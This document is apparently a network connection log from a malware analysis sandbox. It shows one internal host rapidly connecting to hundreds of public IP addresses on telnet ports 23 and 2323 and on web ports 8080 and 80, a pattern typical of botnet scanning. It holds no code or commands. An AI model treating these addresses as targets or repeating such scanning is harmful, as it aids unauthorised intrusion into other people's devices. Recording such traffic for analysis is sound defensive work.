Feb 19, 2025 19:43:19.006354094 CET	24754	23	192.168.2.13	64.198.36.144
Feb 19, 2025 19:43:19.006354094 CET	24754	23	192.168.2.13	170.39.9.201
Feb 19, 2025 19:43:19.006357908 CET	24754	23	192.168.2.13	46.74.230.70
Feb 19, 2025 19:43:19.006376028 CET	24754	23	192.168.2.13	137.223.92.83
Feb 19, 2025 19:43:19.006383896 CET	24754	23	192.168.2.13	45.173.56.227
Feb 19, 2025 19:43:19.006395102 CET	24754	23	192.168.2.13	61.159.99.193
Feb 19, 2025 19:43:19.006406069 CET	24754	23	192.168.2.13	213.109.55.169
Feb 19, 2025 19:43:19.006406069 CET	24754	23	192.168.2.13	204.21.242.181
Feb 19, 2025 19:43:19.006422997 CET	24754	2323	192.168.2.13	210.109.72.131
Feb 19, 2025 19:43:19.006423950 CET	24754	23	192.168.2.13	88.222.55.47
Feb 19, 2025 19:43:19.006443024 CET	24754	23	192.168.2.13	220.177.120.111
Feb 19, 2025 19:43:19.006444931 CET	24754	23	192.168.2.13	193.194.211.88
Feb 19, 2025 19:43:19.006465912 CET	24754	23	192.168.2.13	213.213.184.208
Feb 19, 2025 19:43:19.006468058 CET	24754	23	192.168.2.13	112.83.27.159
Feb 19, 2025 19:43:19.006469011 CET	24754	23	192.168.2.13	118.244.233.38
Feb 19, 2025 19:43:19.006484032 CET	24754	23	192.168.2.13	87.202.168.65
Feb 19, 2025 19:43:19.006493092 CET	24754	23	192.168.2.13	152.208.125.48
Feb 19, 2025 19:43:19.006508112 CET	24754	23	192.168.2.13	221.108.7.148
Feb 19, 2025 19:43:19.006511927 CET	24754	23	192.168.2.13	121.223.155.14
Feb 19, 2025 19:43:19.006516933 CET	24754	2323	192.168.2.13	132.16.45.150
Feb 19, 2025 19:43:19.006530046 CET	24754	23	192.168.2.13	155.61.176.78
Feb 19, 2025 19:43:19.006532907 CET	24754	23	192.168.2.13	101.105.77.171
Feb 19, 2025 19:43:19.006551981 CET	24754	23	192.168.2.13	85.251.139.248
Feb 19, 2025 19:43:19.006551981 CET	24754	23	192.168.2.13	32.15.6.186
Feb 19, 2025 19:43:19.006568909 CET	24754	23	192.168.2.13	83.41.59.232
Feb 19, 2025 19:43:19.006567955 CET	24754	23	192.168.2.13	151.11.76.26
Feb 19, 2025 19:43:19.006587029 CET	24754	23	192.168.2.13	68.85.242.13
Feb 19, 2025 19:43:19.006591082 CET	24754	23	192.168.2.13	171.24.55.44
Feb 19, 2025 19:43:19.006602049 CET	24754	23	192.168.2.13	169.17.123.27
Feb 19, 2025 19:43:19.006623983 CET	24754	23	192.168.2.13	158.201.166.80
Feb 19, 2025 19:43:19.006623983 CET	24754	2323	192.168.2.13	47.124.200.81
Feb 19, 2025 19:43:19.006623983 CET	24754	23	192.168.2.13	160.216.12.155
Feb 19, 2025 19:43:19.006623983 CET	24754	23	192.168.2.13	102.176.80.136
Feb 19, 2025 19:43:19.006637096 CET	24754	23	192.168.2.13	212.199.239.100
Feb 19, 2025 19:43:19.006643057 CET	24754	23	192.168.2.13	34.81.167.61
Feb 19, 2025 19:43:19.006644964 CET	24754	23	192.168.2.13	139.222.203.96
Feb 19, 2025 19:43:19.006644964 CET	24754	23	192.168.2.13	176.69.216.96
Feb 19, 2025 19:43:19.006664038 CET	24754	23	192.168.2.13	210.197.29.73
Feb 19, 2025 19:43:19.006669044 CET	24754	23	192.168.2.13	64.120.228.122
Feb 19, 2025 19:43:19.006669044 CET	24754	23	192.168.2.13	60.57.1.47
Feb 19, 2025 19:43:19.006683111 CET	24754	2323	192.168.2.13	207.242.10.82
Feb 19, 2025 19:43:19.006686926 CET	24754	23	192.168.2.13	50.195.124.189
Feb 19, 2025 19:43:19.006686926 CET	24754	23	192.168.2.13	32.170.143.211
Feb 19, 2025 19:43:19.006688118 CET	24754	23	192.168.2.13	92.189.90.30
Feb 19, 2025 19:43:19.006680012 CET	24754	23	192.168.2.13	176.126.86.31
Feb 19, 2025 19:43:19.006688118 CET	24754	23	192.168.2.13	157.17.66.202
Feb 19, 2025 19:43:19.006690025 CET	24754	23	192.168.2.13	155.31.45.34
Feb 19, 2025 19:43:19.006691933 CET	24754	23	192.168.2.13	77.6.101.50
Feb 19, 2025 19:43:19.006691933 CET	24754	23	192.168.2.13	204.75.152.108
Feb 19, 2025 19:43:19.006696939 CET	24754	2323	192.168.2.13	88.52.31.29
Feb 19, 2025 19:43:19.006710052 CET	24754	23	192.168.2.13	128.241.179.47
Feb 19, 2025 19:43:19.006714106 CET	24754	23	192.168.2.13	157.191.191.228
Feb 19, 2025 19:43:19.006721020 CET	24754	23	192.168.2.13	167.189.207.203
Feb 19, 2025 19:43:19.006751060 CET	24754	23	192.168.2.13	108.206.114.99
Feb 19, 2025 19:43:19.006757975 CET	24754	23	192.168.2.13	113.157.106.2
Feb 19, 2025 19:43:19.006764889 CET	24754	23	192.168.2.13	85.55.47.216
Feb 19, 2025 19:43:19.006781101 CET	24754	23	192.168.2.13	62.253.203.136
Feb 19, 2025 19:43:19.006783009 CET	24754	23	192.168.2.13	188.83.219.98
Feb 19, 2025 19:43:19.006808043 CET	24754	2323	192.168.2.13	145.183.176.108
Feb 19, 2025 19:43:19.006808043 CET	24754	23	192.168.2.13	99.211.248.18
Feb 19, 2025 19:43:19.006808996 CET	24754	23	192.168.2.13	167.171.16.109
Feb 19, 2025 19:43:19.006815910 CET	24754	23	192.168.2.13	183.174.234.79
Feb 19, 2025 19:43:19.006822109 CET	24754	23	192.168.2.13	165.213.66.170
Feb 19, 2025 19:43:19.007705927 CET	35416	2323	192.168.2.13	36.2.110.223
Feb 19, 2025 19:43:19.008539915 CET	42858	23	192.168.2.13	183.101.26.91
Feb 19, 2025 19:43:19.009311914 CET	36352	23	192.168.2.13	70.253.251.78
Feb 19, 2025 19:43:19.010091066 CET	43680	23	192.168.2.13	122.164.125.175
Feb 19, 2025 19:43:19.010859013 CET	56410	23	192.168.2.13	96.65.132.21
Feb 19, 2025 19:43:19.011658907 CET	40566	23	192.168.2.13	172.46.117.178
Feb 19, 2025 19:43:19.012427092 CET	34834	23	192.168.2.13	218.127.102.182
Feb 19, 2025 19:43:19.013207912 CET	53920	23	192.168.2.13	185.79.232.209
Feb 19, 2025 19:43:19.013969898 CET	38774	23	192.168.2.13	104.83.157.56
Feb 19, 2025 19:43:19.014827013 CET	44136	23	192.168.2.13	151.172.204.60
Feb 19, 2025 19:43:19.015611887 CET	40716	2323	192.168.2.13	201.168.146.77
Feb 19, 2025 19:43:19.026751995 CET	44810	8080	192.168.2.13	31.118.53.55
Feb 19, 2025 19:43:19.026755095 CET	55996	8080	192.168.2.13	94.39.23.251
Feb 19, 2025 19:43:19.026766062 CET	45152	8080	192.168.2.13	95.46.115.183
Feb 19, 2025 19:43:19.058757067 CET	47908	80	192.168.2.13	95.87.141.187
Feb 19, 2025 19:43:19.058759928 CET	50254	80	192.168.2.13	112.70.136.137
Feb 19, 2025 19:43:19.058759928 CET	50510	80	192.168.2.13	112.83.57.35
Feb 19, 2025 19:43:19.090784073 CET	59264	8080	192.168.2.13	85.123.84.241
Feb 19, 2025 19:43:19.090792894 CET	34288	8080	192.168.2.13	94.12.222.90
Feb 19, 2025 19:43:19.090799093 CET	49918	8080	192.168.2.13	62.96.191.144
Feb 19, 2025 19:43:19.090801001 CET	49932	8080	192.168.2.13	95.231.13.167
Feb 19, 2025 19:43:19.090805054 CET	40220	8080	192.168.2.13	62.253.28.231
Feb 19, 2025 19:43:19.122771978 CET	52998	8080	192.168.2.13	95.128.1.164
Feb 19, 2025 19:43:19.122771978 CET	36816	8080	192.168.2.13	85.20.179.232
Feb 19, 2025 19:43:19.122771978 CET	47010	8080	192.168.2.13	94.197.65.67
Feb 19, 2025 19:43:19.122781038 CET	52790	8080	192.168.2.13	62.91.151.8
Feb 19, 2025 19:43:19.122781038 CET	52290	8080	192.168.2.13	31.175.78.246
Feb 19, 2025 19:43:19.122781038 CET	45508	8080	192.168.2.13	31.216.11.167
Feb 19, 2025 19:43:19.122781038 CET	45450	8080	192.168.2.13	94.242.38.1
Feb 19, 2025 19:43:19.122782946 CET	51860	8080	192.168.2.13	31.119.162.196
Feb 19, 2025 19:43:19.122781038 CET	38318	80	192.168.2.13	112.209.25.241
Feb 19, 2025 19:43:19.122802019 CET	58284	8080	192.168.2.13	85.29.98.39
Feb 19, 2025 19:43:19.122803926 CET	48426	8080	192.168.2.13	31.209.94.222
Feb 19, 2025 19:43:19.122817039 CET	50990	8080	192.168.2.13	31.159.99.162
Feb 19, 2025 19:43:19.122821093 CET	51304	8080	192.168.2.13	85.205.147.107
Feb 19, 2025 19:43:19.122838020 CET	35234	8080	192.168.2.13	95.232.253.19
Feb 19, 2025 19:43:19.122838974 CET	49650	8080	192.168.2.13	31.112.63.147
Feb 19, 2025 19:43:19.122843027 CET	52530	8080	192.168.2.13	95.200.152.156
Feb 19, 2025 19:43:19.122868061 CET	37034	8080	192.168.2.13	62.177.98.51
Feb 19, 2025 19:43:19.122870922 CET	45810	8080	192.168.2.13	31.170.230.220
Feb 19, 2025 19:43:19.122874975 CET	49552	8080	192.168.2.13	62.29.205.52
Feb 19, 2025 19:43:19.154755116 CET	54786	8080	192.168.2.13	95.77.135.176
Feb 19, 2025 19:43:19.154767036 CET	56498	8080	192.168.2.13	62.72.26.17
Feb 19, 2025 19:43:19.154771090 CET	34856	8080	192.168.2.13	85.91.239.58
Feb 19, 2025 19:43:19.154774904 CET	52192	8080	192.168.2.13	85.9.228.142
Feb 19, 2025 19:43:19.154789925 CET	49776	80	192.168.2.13	112.13.224.8
Feb 19, 2025 19:43:19.154789925 CET	58700	8080	192.168.2.13	31.109.196.205
Feb 19, 2025 19:43:19.154792070 CET	37912	8080	192.168.2.13	95.25.141.130
Feb 19, 2025 19:43:19.154802084 CET	46900	8080	192.168.2.13	85.17.207.169
Feb 19, 2025 19:43:19.154802084 CET	38074	8080	192.168.2.13	62.109.240.116
Feb 19, 2025 19:43:19.154808044 CET	55660	8080	192.168.2.13	94.214.185.93
Feb 19, 2025 19:43:19.154808998 CET	45026	8080	192.168.2.13	62.40.100.188
Feb 19, 2025 19:43:19.154814959 CET	43836	8080	192.168.2.13	95.9.31.254
Feb 19, 2025 19:43:19.154825926 CET	36160	8080	192.168.2.13	94.74.231.247
Feb 19, 2025 19:43:19.154831886 CET	38996	8080	192.168.2.13	95.144.144.238
Feb 19, 2025 19:43:19.154850006 CET	33022	8080	192.168.2.13	94.104.17.69
Feb 19, 2025 19:43:19.154850006 CET	38170	8080	192.168.2.13	62.0.119.147
Feb 19, 2025 19:43:19.154855013 CET	33152	8080	192.168.2.13	31.184.184.115
Feb 19, 2025 19:43:19.154856920 CET	54176	8080	192.168.2.13	62.113.101.187
Feb 19, 2025 19:43:19.154863119 CET	41686	8080	192.168.2.13	62.70.138.0
Feb 19, 2025 19:43:19.154886961 CET	40818	8080	192.168.2.13	94.49.76.210
Feb 19, 2025 19:43:19.154889107 CET	45232	8080	192.168.2.13	62.93.13.13
Feb 19, 2025 19:43:19.186763048 CET	33750	8080	192.168.2.13	85.68.195.238
Feb 19, 2025 19:43:19.186763048 CET	51936	8080	192.168.2.13	94.50.15.228
Feb 19, 2025 19:43:19.186763048 CET	47164	8080	192.168.2.13	62.100.38.145
Feb 19, 2025 19:43:19.186794996 CET	59136	8080	192.168.2.13	31.186.47.21
Feb 19, 2025 19:43:19.186810017 CET	34938	8080	192.168.2.13	85.116.84.78
Feb 19, 2025 19:43:19.186810017 CET	35436	8080	192.168.2.13	85.31.104.118
Feb 19, 2025 19:43:19.186813116 CET	59222	8080	192.168.2.13	31.152.40.185
Feb 19, 2025 19:43:19.186815977 CET	60374	8080	192.168.2.13	95.74.50.30
Feb 19, 2025 19:43:19.186813116 CET	53440	8080	192.168.2.13	85.93.200.105
Feb 19, 2025 19:43:19.186813116 CET	40090	8080	192.168.2.13	31.70.187.9
Feb 19, 2025 19:43:19.186827898 CET	41902	8080	192.168.2.13	94.18.59.20
Feb 19, 2025 19:43:19.186839104 CET	35974	8080	192.168.2.13	62.190.17.29
Feb 19, 2025 19:43:19.186839104 CET	43882	8080	192.168.2.13	31.195.227.26
Feb 19, 2025 19:43:19.186851025 CET	51752	8080	192.168.2.13	95.118.184.198
Feb 19, 2025 19:43:19.186817884 CET	34332	8080	192.168.2.13	85.28.1.187
Feb 19, 2025 19:43:19.186817884 CET	41420	8080	192.168.2.13	85.19.126.125
Feb 19, 2025 19:43:19.186817884 CET	42040	8080	192.168.2.13	95.109.12.85
Feb 19, 2025 19:43:19.186856031 CET	56428	8080	192.168.2.13	95.50.71.168
Feb 19, 2025 19:43:19.186856031 CET	47584	8080	192.168.2.13	94.19.167.73
Feb 19, 2025 19:43:19.186856031 CET	54316	8080	192.168.2.13	62.142.253.227
Feb 19, 2025 19:43:19.186860085 CET	40756	8080	192.168.2.13	85.189.72.129
Feb 19, 2025 19:43:19.186865091 CET	44844	8080	192.168.2.13	85.254.42.153
Feb 19, 2025 19:43:19.186894894 CET	58548	8080	192.168.2.13	85.155.229.171
Feb 19, 2025 19:43:19.186903954 CET	37834	8080	192.168.2.13	31.208.26.227
Feb 19, 2025 19:43:19.186903954 CET	54954	8080	192.168.2.13	31.18.31.131
Feb 19, 2025 19:43:19.186903954 CET	33058	8080	192.168.2.13	62.27.214.81
Feb 19, 2025 19:43:19.186904907 CET	55262	8080	192.168.2.13	85.134.180.229
Feb 19, 2025 19:43:19.186904907 CET	33596	8080	192.168.2.13	95.126.6.39
Feb 19, 2025 19:43:19.186917067 CET	48974	8080	192.168.2.13	62.71.218.90
Feb 19, 2025 19:43:19.186917067 CET	56486	8080	192.168.2.13	95.48.196.40
Feb 19, 2025 19:43:19.186918020 CET	49116	8080	192.168.2.13	62.75.60.109
Feb 19, 2025 19:43:19.186917067 CET	35274	8080	192.168.2.13	85.68.221.252
Feb 19, 2025 19:43:19.186918020 CET	43000	8080	192.168.2.13	85.91.154.202
Feb 19, 2025 19:43:19.186928988 CET	54322	8080	192.168.2.13	31.168.9.149
Feb 19, 2025 19:43:19.186928988 CET	52574	8080	192.168.2.13	94.94.79.92
Feb 19, 2025 19:43:19.186934948 CET	48812	8080	192.168.2.13	31.58.154.178
Feb 19, 2025 19:43:19.186942101 CET	46496	8080	192.168.2.13	85.101.211.21
Feb 19, 2025 19:43:19.186942101 CET	34942	8080	192.168.2.13	94.242.29.121
Feb 19, 2025 19:43:19.186942101 CET	46622	8080	192.168.2.13	31.103.100.85
Feb 19, 2025 19:43:19.186942101 CET	34444	8080	192.168.2.13	31.24.132.254
Feb 19, 2025 19:43:19.186942101 CET	54418	8080	192.168.2.13	62.124.56.11
Feb 19, 2025 19:43:19.186958075 CET	39998	8080	192.168.2.13	94.36.161.68
Feb 19, 2025 19:43:19.186958075 CET	40972	8080	192.168.2.13	95.94.210.210
Feb 19, 2025 19:43:19.218791962 CET	42380	8080	192.168.2.13	62.66.223.97
Feb 19, 2025 19:43:19.218800068 CET	36216	8080	192.168.2.13	94.81.85.120
Feb 19, 2025 19:43:19.218803883 CET	43448	8080	192.168.2.13	62.39.81.41
Feb 19, 2025 19:43:19.218803883 CET	47564	8080	192.168.2.13	31.162.3.29
Feb 19, 2025 19:43:19.218810081 CET	38128	8080	192.168.2.13	85.154.160.227
Feb 19, 2025 19:43:19.218810081 CET	37530	8080	192.168.2.13	85.218.162.248
Feb 19, 2025 19:43:19.218817949 CET	47254	8080	192.168.2.13	94.157.141.163
Feb 19, 2025 19:43:19.218818903 CET	34498	8080	192.168.2.13	62.159.23.130
Feb 19, 2025 19:43:19.218818903 CET	59336	8080	192.168.2.13	62.227.255.2
Feb 19, 2025 19:43:19.218820095 CET	37920	8080	192.168.2.13	62.104.158.97
Feb 19, 2025 19:43:19.218820095 CET	59014	8080	192.168.2.13	85.133.171.211
Feb 19, 2025 19:43:19.218820095 CET	58630	8080	192.168.2.13	31.157.246.36
Feb 19, 2025 19:43:19.218820095 CET	41956	8080	192.168.2.13	31.194.11.61
Feb 19, 2025 19:43:19.218820095 CET	50758	8080	192.168.2.13	85.33.52.66
Feb 19, 2025 19:43:19.218822956 CET	33596	8080	192.168.2.13	31.55.178.108
Feb 19, 2025 19:43:19.218823910 CET	45752	8080	192.168.2.13	31.61.146.86
Feb 19, 2025 19:43:19.218828917 CET	49714	8080	192.168.2.13	95.155.45.111
Feb 19, 2025 19:43:19.218835115 CET	35980	8080	192.168.2.13	94.19.125.200
Feb 19, 2025 19:43:19.218842030 CET	40524	8080	192.168.2.13	62.250.240.211
Feb 19, 2025 19:43:19.218844891 CET	54658	8080	192.168.2.13	62.238.247.192
Feb 19, 2025 19:43:19.218844891 CET	57568	8080	192.168.2.13	85.220.231.22
Feb 19, 2025 19:43:19.218852997 CET	33698	8080	192.168.2.13	31.169.177.2
Feb 19, 2025 19:43:19.218862057 CET	35742	8080	192.168.2.13	62.127.129.76
Feb 19, 2025 19:43:19.218862057 CET	60346	8080	192.168.2.13	85.143.109.249
Feb 19, 2025 19:43:19.218869925 CET	46666	8080	192.168.2.13	85.135.224.218
Feb 19, 2025 19:43:19.218887091 CET	59592	8080	192.168.2.13	62.88.169.59
Feb 19, 2025 19:43:19.218887091 CET	56034	8080	192.168.2.13	95.170.137.79
Feb 19, 2025 19:43:19.250750065 CET	57400	80	192.168.2.13	112.153.230.206
Feb 19, 2025 19:43:19.250780106 CET	38242	8080	192.168.2.13	95.71.0.133
Feb 19, 2025 19:43:19.250791073 CET	56916	8080	192.168.2.13	31.89.117.137
Feb 19, 2025 19:43:19.250791073 CET	38206	8080	192.168.2.13	85.7.186.13
Feb 19, 2025 19:43:19.250797033 CET	50046	8080	192.168.2.13	95.147.252.83
Feb 19, 2025 19:43:19.250806093 CET	45232	8080	192.168.2.13	95.166.123.60
Feb 19, 2025 19:43:19.250806093 CET	54740	8080	192.168.2.13	85.100.204.76
Feb 19, 2025 19:43:19.250828981 CET	44136	8080	192.168.2.13	62.207.171.79
Feb 19, 2025 19:43:19.250829935 CET	41760	8080	192.168.2.13	94.90.133.33
Feb 19, 2025 19:43:19.250838041 CET	48684	8080	192.168.2.13	95.217.78.131
Feb 19, 2025 19:43:19.250844955 CET	34054	8080	192.168.2.13	85.0.246.113
Feb 19, 2025 19:43:19.250844955 CET	45262	8080	192.168.2.13	95.214.73.173
Feb 19, 2025 19:43:19.250861883 CET	53060	8080	192.168.2.13	62.211.235.250
Feb 19, 2025 19:43:19.250869036 CET	57814	8080	192.168.2.13	62.166.150.154
Feb 19, 2025 19:43:19.250869989 CET	53642	8080	192.168.2.13	85.19.162.212
Feb 19, 2025 19:43:19.250878096 CET	38664	8080	192.168.2.13	62.184.152.249
Feb 19, 2025 19:43:19.250880957 CET	33262	8080	192.168.2.13	62.86.96.49
Feb 19, 2025 19:43:19.250880957 CET	46034	8080	192.168.2.13	94.103.141.211
Feb 19, 2025 19:43:19.250880957 CET	48158	8080	192.168.2.13	94.33.128.45
Feb 19, 2025 19:43:19.250886917 CET	43696	8080	192.168.2.13	94.46.167.16
Feb 19, 2025 19:43:19.250880957 CET	57168	8080	192.168.2.13	94.178.50.229
Feb 19, 2025 19:43:19.250880957 CET	48962	8080	192.168.2.13	95.144.238.168
Feb 19, 2025 19:43:19.250895023 CET	36432	8080	192.168.2.13	85.5.38.110
Feb 19, 2025 19:43:19.250896931 CET	55522	8080	192.168.2.13	62.169.217.164
Feb 19, 2025 19:43:19.250897884 CET	47338	8080	192.168.2.13	94.129.181.93
Feb 19, 2025 19:43:19.250897884 CET	54690	8080	192.168.2.13	95.109.16.245
Feb 19, 2025 19:43:19.250897884 CET	36896	8080	192.168.2.13	95.20.21.42
Feb 19, 2025 19:43:19.250910044 CET	57120	8080	192.168.2.13	85.220.173.251
Feb 19, 2025 19:43:19.250910044 CET	35892	8080	192.168.2.13	85.70.218.64
Feb 19, 2025 19:43:19.250916004 CET	32984	8080	192.168.2.13	62.251.250.77
Feb 19, 2025 19:43:19.250916004 CET	58716	8080	192.168.2.13	95.254.183.85
Feb 19, 2025 19:43:19.250930071 CET	43144	8080	192.168.2.13	31.9.27.39
Feb 19, 2025 19:43:19.250930071 CET	47102	8080	192.168.2.13	62.122.6.87
Feb 19, 2025 19:43:19.250952005 CET	45602	8080	192.168.2.13	94.135.203.166
Feb 19, 2025 19:43:19.250952959 CET	39986	8080	192.168.2.13	31.33.53.68
Feb 19, 2025 19:43:19.250952959 CET	52462	8080	192.168.2.13	62.109.207.150
Feb 19, 2025 19:43:19.250956059 CET	36050	8080	192.168.2.13	62.152.94.138
Feb 19, 2025 19:43:19.250957966 CET	39030	8080	192.168.2.13	94.88.229.249
Feb 19, 2025 19:43:19.250958920 CET	51956	8080	192.168.2.13	85.138.56.182
Feb 19, 2025 19:43:19.250958920 CET	60764	8080	192.168.2.13	31.224.230.23
Feb 19, 2025 19:43:19.250958920 CET	45868	8080	192.168.2.13	85.164.75.64
Feb 19, 2025 19:43:19.250958920 CET	55022	8080	192.168.2.13	31.46.173.221
Feb 19, 2025 19:43:19.250994921 CET	43446	8080	192.168.2.13	85.245.50.208
Feb 19, 2025 19:43:19.250994921 CET	37480	8080	192.168.2.13	94.99.103.17
Feb 19, 2025 19:43:19.251013041 CET	39720	8080	192.168.2.13	95.152.164.215
Feb 19, 2025 19:43:19.251015902 CET	59534	8080	192.168.2.13	94.34.109.170
Feb 19, 2025 19:43:19.251017094 CET	51758	8080	192.168.2.13	85.28.48.48
Feb 19, 2025 19:43:19.251020908 CET	49072	8080	192.168.2.13	85.169.253.13
Feb 19, 2025 19:43:19.251020908 CET	39152	8080	192.168.2.13	62.254.25.230
Feb 19, 2025 19:43:19.251020908 CET	55050	8080	192.168.2.13	31.34.71.167
Feb 19, 2025 19:43:19.251020908 CET	44816	8080	192.168.2.13	94.233.60.184
Feb 19, 2025 19:43:19.251022100 CET	53902	8080	192.168.2.13	31.189.146.139
Feb 19, 2025 19:43:19.251022100 CET	37464	8080	192.168.2.13	95.203.62.27
Feb 19, 2025 19:43:19.282754898 CET	34326	80	192.168.2.13	112.62.87.190
Feb 19, 2025 19:43:19.282798052 CET	42332	8080	192.168.2.13	31.137.51.131
Feb 19, 2025 19:43:19.282813072 CET	51210	8080	192.168.2.13	62.67.87.21
Feb 19, 2025 19:43:19.282813072 CET	44506	8080	192.168.2.13	31.216.107.163
Feb 19, 2025 19:43:19.282815933 CET	33626	8080	192.168.2.13	94.39.177.205
Feb 19, 2025 19:43:19.282815933 CET	35756	8080	192.168.2.13	31.199.41.212
Feb 19, 2025 19:43:19.282835960 CET	50142	8080	192.168.2.13	31.72.251.25
Feb 19, 2025 19:43:19.282835960 CET	52244	8080	192.168.2.13	94.64.74.248
Feb 19, 2025 19:43:19.282835960 CET	34302	8080	192.168.2.13	94.247.49.245
Feb 19, 2025 19:43:19.282843113 CET	55816	8080	192.168.2.13	62.168.82.214
Feb 19, 2025 19:43:19.282843113 CET	42334	8080	192.168.2.13	62.184.69.121
Feb 19, 2025 19:43:19.282854080 CET	33418	8080	192.168.2.13	31.224.71.137
Feb 19, 2025 19:43:19.282862902 CET	37738	8080	192.168.2.13	94.235.168.38
Feb 19, 2025 19:43:19.282861948 CET	58408	8080	192.168.2.13	62.212.168.142
Feb 19, 2025 19:43:19.282861948 CET	43662	8080	192.168.2.13	85.84.152.126
Feb 19, 2025 19:43:19.282869101 CET	46712	8080	192.168.2.13	31.9.155.170
Feb 19, 2025 19:43:19.282869101 CET	56586	8080	192.168.2.13	62.113.108.13
Feb 19, 2025 19:43:19.282882929 CET	38516	8080	192.168.2.13	31.215.2.218
Feb 19, 2025 19:43:19.282882929 CET	59336	8080	192.168.2.13	85.224.68.95
Feb 19, 2025 19:43:19.282887936 CET	58476	8080	192.168.2.13	94.181.66.180
Feb 19, 2025 19:43:19.282891989 CET	58116	8080	192.168.2.13	95.85.142.137
Feb 19, 2025 19:43:19.282900095 CET	42836	8080	192.168.2.13	94.243.97.193
Feb 19, 2025 19:43:19.282902956 CET	34860	8080	192.168.2.13	94.16.254.143
Feb 19, 2025 19:43:19.282906055 CET	48598	8080	192.168.2.13	31.204.205.170
Feb 19, 2025 19:43:19.282907963 CET	40934	8080	192.168.2.13	95.154.37.49
Feb 19, 2025 19:43:19.282926083 CET	44230	8080	192.168.2.13	94.28.89.226
Feb 19, 2025 19:43:19.282928944 CET	47914	8080	192.168.2.13	94.31.162.150
Feb 19, 2025 19:43:19.282931089 CET	44264	8080	192.168.2.13	62.252.212.176
Feb 19, 2025 19:43:19.282939911 CET	48826	8080	192.168.2.13	85.117.154.237
Feb 19, 2025 19:43:19.282947063 CET	33716	8080	192.168.2.13	95.26.220.246
Feb 19, 2025 19:43:19.282948017 CET	43240	8080	192.168.2.13	95.16.104.174
Feb 19, 2025 19:43:19.282948017 CET	49658	8080	192.168.2.13	85.133.255.206
Feb 19, 2025 19:43:19.282948017 CET	58940	8080	192.168.2.13	31.75.132.91
Feb 19, 2025 19:43:19.282949924 CET	53292	8080	192.168.2.13	85.121.87.249
Feb 19, 2025 19:43:19.283122063 CET	26802	8080	192.168.2.13	95.123.11.182
Feb 19, 2025 19:43:19.283128977 CET	26802	8080	192.168.2.13	62.12.85.5
Feb 19, 2025 19:43:19.283134937 CET	26802	8080	192.168.2.13	62.238.215.79
Feb 19, 2025 19:43:19.283135891 CET	26802	8080	192.168.2.13	94.35.215.216
Feb 19, 2025 19:43:19.283150911 CET	26802	8080	192.168.2.13	95.91.80.246
Feb 19, 2025 19:43:19.283152103 CET	26802	8080	192.168.2.13	31.225.159.145
Feb 19, 2025 19:43:19.283225060 CET	26802	8080	192.168.2.13	94.151.58.231
Feb 19, 2025 19:43:19.283225060 CET	26802	8080	192.168.2.13	94.58.13.150
Feb 19, 2025 19:43:19.283225060 CET	26802	8080	192.168.2.13	85.125.144.185
Feb 19, 2025 19:43:19.283226013 CET	26802	8080	192.168.2.13	31.146.252.16
Feb 19, 2025 19:43:19.283267021 CET	26802	8080	192.168.2.13	31.225.120.230
Feb 19, 2025 19:43:19.283267021 CET	26802	8080	192.168.2.13	95.233.1.98
Feb 19, 2025 19:43:19.283267021 CET	26802	8080	192.168.2.13	62.50.138.74
Feb 19, 2025 19:43:19.283267021 CET	26802	8080	192.168.2.13	62.172.40.247
Feb 19, 2025 19:43:19.283267975 CET	26802	8080	192.168.2.13	31.79.156.2
Feb 19, 2025 19:43:19.283267975 CET	26802	8080	192.168.2.13	31.206.186.96
Feb 19, 2025 19:43:19.283269882 CET	26802	8080	192.168.2.13	95.97.148.115
Feb 19, 2025 19:43:19.283269882 CET	26802	8080	192.168.2.13	85.88.4.175
Feb 19, 2025 19:43:19.283272028 CET	26802	8080	192.168.2.13	31.226.28.18
Feb 19, 2025 19:43:19.283272028 CET	26802	8080	192.168.2.13	94.138.244.81
Feb 19, 2025 19:43:19.283272028 CET	26802	8080	192.168.2.13	62.13.227.20
Feb 19, 2025 19:43:19.283325911 CET	26802	8080	192.168.2.13	94.56.32.219
Feb 19, 2025 19:43:19.283325911 CET	26802	8080	192.168.2.13	94.233.184.127
Feb 19, 2025 19:43:19.283329964 CET	26802	8080	192.168.2.13	94.37.34.206
Feb 19, 2025 19:43:19.283329964 CET	26802	8080	192.168.2.13	85.36.17.165
Feb 19, 2025 19:43:19.283329964 CET	26802	8080	192.168.2.13	31.229.3.106
Feb 19, 2025 19:43:19.283329964 CET	26802	8080	192.168.2.13	85.186.59.102
Feb 19, 2025 19:43:19.283333063 CET	26802	8080	192.168.2.13	31.192.60.55
Feb 19, 2025 19:43:19.283333063 CET	26802	8080	192.168.2.13	95.29.139.40
Feb 19, 2025 19:43:19.283340931 CET	26802	8080	192.168.2.13	31.131.40.140
Feb 19, 2025 19:43:19.283340931 CET	26802	8080	192.168.2.13	95.44.84.6
Feb 19, 2025 19:43:19.283340931 CET	26802	8080	192.168.2.13	94.106.77.64
Feb 19, 2025 19:43:19.283340931 CET	26802	8080	192.168.2.13	85.216.166.186
Feb 19, 2025 19:43:19.283340931 CET	26802	8080	192.168.2.13	62.189.68.79
Feb 19, 2025 19:43:19.283340931 CET	26802	8080	192.168.2.13	94.18.225.246
Feb 19, 2025 19:43:19.283344030 CET	26802	8080	192.168.2.13	85.171.155.188
Feb 19, 2025 19:43:19.283344030 CET	26802	8080	192.168.2.13	95.69.149.145
Feb 19, 2025 19:43:19.283344030 CET	26802	8080	192.168.2.13	31.119.181.192
Feb 19, 2025 19:43:19.283344030 CET	26802	8080	192.168.2.13	94.84.180.208
Feb 19, 2025 19:43:19.283344030 CET	26802	8080	192.168.2.13	62.44.236.118
Feb 19, 2025 19:43:19.283359051 CET	26802	8080	192.168.2.13	85.25.43.35
Feb 19, 2025 19:43:19.283380032 CET	26802	8080	192.168.2.13	94.205.234.19
Feb 19, 2025 19:43:19.283381939 CET	26802	8080	192.168.2.13	85.248.189.159
Feb 19, 2025 19:43:19.283381939 CET	26802	8080	192.168.2.13	94.110.181.230
Feb 19, 2025 19:43:19.283381939 CET	26802	8080	192.168.2.13	62.169.104.34
Feb 19, 2025 19:43:19.283384085 CET	26802	8080	192.168.2.13	85.173.30.150
Feb 19, 2025 19:43:19.283384085 CET	26802	8080	192.168.2.13	62.123.14.206
Feb 19, 2025 19:43:19.283384085 CET	26802	8080	192.168.2.13	62.118.161.214
Feb 19, 2025 19:43:19.283384085 CET	26802	8080	192.168.2.13	85.227.183.44
Feb 19, 2025 19:43:19.283384085 CET	26802	8080	192.168.2.13	95.148.232.185
Feb 19, 2025 19:43:19.283384085 CET	26802	8080	192.168.2.13	31.44.55.158
Feb 19, 2025 19:43:19.283385038 CET	26802	8080	192.168.2.13	31.180.49.167
